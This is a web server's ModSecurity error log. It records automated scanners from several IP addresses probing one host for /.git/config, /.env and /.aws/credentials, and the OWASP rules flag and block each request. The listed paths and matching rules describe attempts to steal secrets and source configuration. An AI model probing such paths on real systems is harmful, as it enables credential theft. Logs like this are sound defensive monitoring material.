[Tue Sep 23 03:42:25.853604 2025] [:error] [pid 2942731] [client 195.178.110.155:52767] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aNH7AZKnWnU9xU3Q1DmG1QAAAAA&quot;]
[Tue Sep 23 03:42:25.965530 2025] [:error] [pid 2942735] [client 195.178.110.155:64994] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aNH7ASuKWopXTUc_56T2XQAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/.git/config
[Tue Sep 23 03:42:25.965779 2025] [:error] [pid 2942735] [client 195.178.110.155:64994] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aNH7ASuKWopXTUc_56T2XQAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/.git/config
[Tue Sep 23 03:42:25.965930 2025] [:error] [pid 2942735] [client 195.178.110.155:64994] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aNH7ASuKWopXTUc_56T2XQAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/.git/config
[Wed Sep 24 18:06:43.063867 2025] [:error] [pid 2967881] [client 45.148.10.246:57000] [client 45.148.10.246] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aNQXE5I58xXToswI6_ccGwAAAAU&quot;]
[Wed Sep 24 18:06:43.065210 2025] [:error] [pid 2967881] [client 45.148.10.246:57000] [client 45.148.10.246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aNQXE5I58xXToswI6_ccGwAAAAU&quot;]
[Wed Sep 24 18:06:43.065401 2025] [:error] [pid 2967881] [client 45.148.10.246:57000] [client 45.148.10.246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aNQXE5I58xXToswI6_ccGwAAAAU&quot;]
[Sat Sep 27 02:08:57.005422 2025] [:error] [pid 3038682] [client 176.65.149.195:46468] [client 176.65.149.195] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aNcrGfeqqb3hf_aiJtQR-gAAAAg&quot;]
[Sat Sep 27 02:08:57.005713 2025] [:error] [pid 3038682] [client 176.65.149.195:46468] [client 176.65.149.195] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aNcrGfeqqb3hf_aiJtQR-gAAAAg&quot;]
[Sat Sep 27 02:08:57.005870 2025] [:error] [pid 3038682] [client 176.65.149.195:46468] [client 176.65.149.195] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aNcrGfeqqb3hf_aiJtQR-gAAAAg&quot;]
[Tue Sep 30 11:22:34.725232 2025] [:error] [pid 3118114] [client 45.148.10.154:59214] [client 45.148.10.154] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aNuhWkJmEM_B6WtWG4g7tQAAAAU&quot;]
[Tue Sep 30 11:22:34.726733 2025] [:error] [pid 3118114] [client 45.148.10.154:59214] [client 45.148.10.154] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aNuhWkJmEM_B6WtWG4g7tQAAAAU&quot;]
[Tue Sep 30 11:22:34.726892 2025] [:error] [pid 3118114] [client 45.148.10.154:59214] [client 45.148.10.154] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aNuhWkJmEM_B6WtWG4g7tQAAAAU&quot;]
[Fri Oct 03 03:19:02.710637 2025] [:error] [pid 3191523] [client 18.206.243.172:43494] [client 18.206.243.172] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aN8khhOh09Q7Bp7F97zmRwAAAAQ&quot;]
[Fri Oct 03 03:19:02.710927 2025] [:error] [pid 3191523] [client 18.206.243.172:43494] [client 18.206.243.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aN8khhOh09Q7Bp7F97zmRwAAAAQ&quot;]
[Fri Oct 03 03:19:02.711087 2025] [:error] [pid 3191523] [client 18.206.243.172:43494] [client 18.206.243.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aN8khhOh09Q7Bp7F97zmRwAAAAQ&quot;]
[Sat Oct 04 03:48:21.282620 2025] [:error] [pid 3217771] [client 194.36.209.75:42480] [client 194.36.209.75] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aOB85fL0MO7bFwUe8ITePQAAAAE&quot;]
[Sat Oct 04 03:48:21.284235 2025] [:error] [pid 3217771] [client 194.36.209.75:42480] [client 194.36.209.75] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aOB85fL0MO7bFwUe8ITePQAAAAE&quot;]
[Sat Oct 04 03:48:21.284413 2025] [:error] [pid 3217771] [client 194.36.209.75:42480] [client 194.36.209.75] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aOB85fL0MO7bFwUe8ITePQAAAAE&quot;]
[Mon Oct 06 23:56:22.034629 2025] [:error] [pid 3267651] [client 160.250.70.40:51600] [client 160.250.70.40] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aOQ7BkNR-lLwMYVpTGY9BwAAAAE&quot;], referer: http://pms.test.indacotrentino.com/.git/config
[Mon Oct 06 23:56:22.036182 2025] [:error] [pid 3267651] [client 160.250.70.40:51600] [client 160.250.70.40] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aOQ7BkNR-lLwMYVpTGY9BwAAAAE&quot;], referer: http://pms.test.indacotrentino.com/.git/config
[Mon Oct 06 23:56:22.036346 2025] [:error] [pid 3267651] [client 160.250.70.40:51600] [client 160.250.70.40] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aOQ7BkNR-lLwMYVpTGY9BwAAAAE&quot;], referer: http://pms.test.indacotrentino.com/.git/config
[Tue Oct 07 05:40:00.564098 2025] [:error] [pid 3292643] [client 213.209.157.253:39528] [client 213.209.157.253] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aOSLkF6a04PFRkGpNUV3YQAAAAQ&quot;]
[Tue Oct 07 05:40:00.564368 2025] [:error] [pid 3292643] [client 213.209.157.253:39528] [client 213.209.157.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aOSLkF6a04PFRkGpNUV3YQAAAAQ&quot;]
[Tue Oct 07 05:40:00.564568 2025] [:error] [pid 3292643] [client 213.209.157.253:39528] [client 213.209.157.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aOSLkF6a04PFRkGpNUV3YQAAAAQ&quot;]
[Fri Oct 10 01:58:32.779799 2025] [:error] [pid 3364335] [client 95.173.216.42:58809] [client 95.173.216.42] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aOhMKGMr_bVkvA0f8GkRswAAAAQ&quot;]
[Fri Oct 10 01:58:32.781267 2025] [:error] [pid 3364335] [client 95.173.216.42:58809] [client 95.173.216.42] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aOhMKGMr_bVkvA0f8GkRswAAAAQ&quot;]
[Fri Oct 10 01:58:32.781441 2025] [:error] [pid 3364335] [client 95.173.216.42:58809] [client 95.173.216.42] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aOhMKGMr_bVkvA0f8GkRswAAAAQ&quot;]
[Fri Oct 10 01:58:49.831298 2025] [:error] [pid 3364338] [client 95.173.216.42:51875] [client 95.173.216.42] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aOhMOYa5CmjnJVPAceBwDAAAAAI&quot;]
[Fri Oct 10 01:58:49.831547 2025] [:error] [pid 3364338] [client 95.173.216.42:51875] [client 95.173.216.42] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aOhMOYa5CmjnJVPAceBwDAAAAAI&quot;]
[Fri Oct 10 01:58:49.831710 2025] [:error] [pid 3364338] [client 95.173.216.42:51875] [client 95.173.216.42] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aOhMOYa5CmjnJVPAceBwDAAAAAI&quot;]
[Fri Oct 10 19:20:09.985744 2025] [:error] [pid 3376658] [client 45.148.10.246:48722] [client 45.148.10.246] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aOlASQZFhxP150Yau5veAwAAAAQ&quot;]
[Fri Oct 10 19:20:09.986000 2025] [:error] [pid 3376658] [client 45.148.10.246:48722] [client 45.148.10.246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aOlASQZFhxP150Yau5veAwAAAAQ&quot;]
